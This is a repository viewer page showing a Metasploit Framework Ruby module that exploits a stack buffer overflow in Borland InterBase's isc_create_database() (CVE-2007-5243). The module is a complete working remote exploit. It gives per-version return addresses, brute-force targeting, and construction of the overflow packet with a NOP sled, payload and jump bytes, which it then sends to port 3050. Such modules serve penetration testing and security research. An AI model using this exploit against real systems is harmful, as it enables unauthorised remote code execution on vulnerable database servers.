Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / misc / ib_isc_create_database.rb @ master

History | View | Annotate | Download (3.8 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12

    
13
require 'msf/core'
14

    
15

    
16
class Metasploit3 < Msf::Exploit::Remote
17
        Rank = GoodRanking
18

    
19
        include Msf::Exploit::Remote::Tcp
20
        include Msf::Exploit::Remote::BruteTargets
21

    
22
        def initialize(info = {})
23
                super(update_info(info,
24
                        'Name'                => 'Borland InterBase isc_create_database() Buffer Overflow',
25
                        'Description'        => %q{
26
                                This module exploits a stack buffer overflow in Borland InterBase
27
                                by sending a specially crafted create request.
28
                        },
29
                        'Version'        => '$Revision$',
30
                        'Author'        =>
31
                                [
32
                                        'ramon',
33
                                        'Adriano Lima <adriano[at]risesecurity.org>',
34
                                ],
35
                        'Arch'                => ARCH_X86,
36
                        'Platform'        => 'win',
37
                        'References'        =>
38
                                [
39
                                        [ 'CVE', '2007-5243' ],
40
                                        [ 'OSVDB', '38606' ],
41
                                        [ 'BID', '25917' ],
42
                                        [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
43
                                ],
44
                        'Privileged'        => true,
45
                        'License'        => MSF_LICENSE,
46
                        'Payload'        =>
47
                                {
48
                                        'Space' => 512,
49
                                        'BadChars' => "\x00\x2f\x3a\x40\x5c",
50
                                        'StackAdjustment' => -3500,
51
                                },
52
                        'Targets'        =>
53
                                [
54
                                        [ 'Brute Force', { } ],
55
                                        # 0x00403d4b pop esi; pop ebp; ret
56
                                        [
57
                                                'Borland InterBase WI-V8.1.0.257',
58
                                                { 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403d4b }
59
                                        ],
60
                                        # 0x00403d4d pop esi; pop ebp; ret
61
                                        [
62
                                                'Borland InterBase WI-V8.0.0.123',
63
                                                { 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403d4d }
64
                                        ],
65
                                        # 0x00403a5d pop esi; pop ebp; ret
66
                                        [
67
                                                'Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80',
68
                                                { 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403a5d }
69
                                        ],
70
                                        # 0x004038fd pop esi; pop ebp; ret
71
                                        [
72
                                                'Borland InterBase WI-V7.0.1.1',
73
                                                { 'Length' => [ 2116, 2120 ], 'Ret' => 0x004038fd }
74
                                        ],
75
                                        # 0x0040390d pop esi; pop ebp; ret
76
                                        [
77
                                                'Borland InterBase WI-V6.5.0.28',
78
                                                { 'Length' => [ 1332, 1336 ], 'Ret' => 0x0040390d }
79
                                        ],
80
                                        # 0x00403901 pop esi; pop ebp; ret
81
                                        [
82
                                                'Borland InterBase WI-V6.0.1.6',
83
                                                { 'Length' => [ 1332, 1336 ], 'Ret' => 0x00403901 }
84
                                        ],
85
                                        # 0x004038b1 pop esi; pop ebp; ret
86
                                        [
87
                                                'Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0',
88
                                                { 'Length' => [ 1332, 1336 ], 'Ret' => 0x004038b1 }
89
                                        ],
90
                                        # 0x00404a10 pop esi; pop ebp; ret
91
                                        [
92
                                                'Borland InterBase WI-V5.5.0.742',
93
                                                { 'Length' => [ 1432, 1436 ], 'Ret' => 0x00404a10 }
94
                                        ],
95
                                        # 0x00404a0e pop esi; pop ebp; ret
96
                                        [
97
                                                'Borland InterBase WI-V5.1.1.680',
98
                                                { 'Length' => [ 1336, 1340 ], 'Ret' => 0x00404a0e }
99
                                        ],
100
                                        # Debug
101
                                        [
102
                                                'Debug',
103
                                                { 'Length' => [ 1336 ], 'Ret' => 0xaabbccdd }
104
                                        ],
105
                                ],
106
                        'DefaultTarget'        => 0,
107
                        'DisclosureDate'  => 'Oct 03 2007'
108
                ))
109

    
110
                register_options(
111
                        [
112
                                Opt::RPORT(3050)
113
                        ],
114
                        self.class
115
                )
116

    
117
        end
118

    
119
        def exploit_target(target)
120

    
121
                target['Length'].each do |length|
122

    
123
                        connect
124

    
125
                        # Create database
126
                        op_create = 20
127

    
128
                        remainder = length.remainder(4)
129
                        padding = 0
130

    
131
                        if remainder > 0
132
                                padding = (4 - remainder)
133
                        end
134

    
135
                        buf = ''
136

    
137
                        # Operation/packet type
138
                        buf << [op_create].pack('N')
139

    
140
                        # Id
141
                        buf << [0].pack('N')
142

    
143
                        # Length
144
                        buf << [length].pack('N')
145

    
146
                        # Nop block
147
                        buf << make_nops(length - payload.encoded.length - 13)
148

    
149
                        # Payload
150
                        buf << payload.encoded
151

    
152
                        # Jump back into the nop block
153
                        buf << "\xe9" + [-1028].pack('V')
154

    
155
                        # Jump back
156
                        buf << "\xeb" + [-7].pack('c')
157

    
158
                        # Random alpha data
159
                        buf << rand_text_alpha(2)
160

    
161
                        # Target
162
                        buf << [target.ret].pack('V')
163

    
164
                        # Padding
165
                        buf << "\x00" * padding
166

    
167
                        # Database parameter block
168

    
169
                        # Length
170
                        buf << [1024].pack('N')
171

    
172
                        # Random alpha data
173
                        buf << rand_text_alpha(1024)
174

    
175
                        sock.put(buf)
176

    
177
                        select(nil,nil,nil,4)
178

    
179
                        handler
180

    
181
                end
182

    
183
        end
184

    
185
end